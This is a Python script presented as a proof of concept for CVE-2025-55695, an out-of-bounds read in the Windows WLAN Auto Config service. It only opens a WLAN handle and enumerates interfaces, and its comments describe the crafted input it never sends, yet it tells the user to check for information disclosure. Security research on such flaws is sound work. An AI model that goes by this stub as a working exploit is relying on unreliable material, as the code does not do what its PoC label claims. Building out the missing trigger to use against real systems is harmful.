The following code is for security research and authorized testing only.
python
# CVE-2025-55695 PoC - Windows WLAN Auto Config Service OOB Read
# This is a conceptual PoC demonstrating the exploitation approach.
# Actual exploitation requires local access to the target system.
import ctypes
import struct
import sys
# Windows API constants and structures
WLAN_API_DLL = "wlanapi.dll"
WLAN_SERVICE_AUTO_CONFIG = "WlanSvc"
def trigger_oob_read():
"""
Conceptual PoC for triggering OOB read in WlanSvc.
The vulnerability exists when WlanSvc processes malformed
WLAN configuration data or SSID/profile entries with
abnormal length fields.
"""
print("[*] CVE-2025-55695 - Windows WLAN Auto Config OOB Read PoC")
print("[*] Target Service: WlanSvc (WLAN Auto Config)")
print("[*] Vulnerability Type: Out-of-Bounds Read (Information Disclosure)")
print("[*] Required Privilege: Low (PR:L)")
print("[*] Attack Vector: Local (AV:L)")
try:
# Load WLAN API library
wlanapi = ctypes.WinDLL(WLAN_API_DLL)
# Define WLAN API function prototypes
# WlanOpenHandle / WlanEnumInterfaces / WlanQueryInterface
# The OOB read can be triggered by crafting abnormal input
# parameters to WLAN API functions that are processed by WlanSvc.
# Example: WlanQueryInterface with malformed query data
# can trigger the OOB read condition in the service.
client_handle = ctypes.c_void_p()
negotiated_version = ctypes.c_ulong()
# Open WLAN client handle
ret = wlanapi.WlanOpenHandle(
2, # Client version (XP SP2 / Vista+)
None,
ctypes.byref(negotiated_version),
ctypes.byref(client_handle)
)
if ret != 0:
print(f"[-] WlanOpenHandle failed with error: {ret}")
print("[*] Note: This PoC requires local system access and WLAN capability.")
return False
print(f"[+] WLAN client handle obtained: {client_handle.value}")
# Enumerate WLAN interfaces
interface_list = ctypes.c_void_p()
ret = wlanapi.WlanEnumInterfaces(
client_handle,
None,
ctypes.byref(interface_list)
)
if ret == 0:
print("[+] WLAN interfaces enumerated successfully")
print("[*] In a real exploit, crafted SSID/profile data would be")
print("[*] sent to WlanSvc to trigger the out-of-bounds read.")
# Free interface list
wlanapi.WlanFreeMemory(interface_list)
# Close WLAN handle
wlanapi.WlanCloseHandle(client_handle, None)
print("[*] PoC execution completed. Check for information disclosure.")
return True
except OSError as e:
print(f"[-] Error loading WLAN API: {e}")
print("[*] This PoC requires a Windows system with WLAN capability.")
return False
except Exception as e:
print(f"[-] Unexpected error: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55695 - PoC for WlanSvc OOB Read")
print("CVSS 3.1: 5.5 (MEDIUM)")
print("Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N")
print("=" * 60)
trigger_oob_read()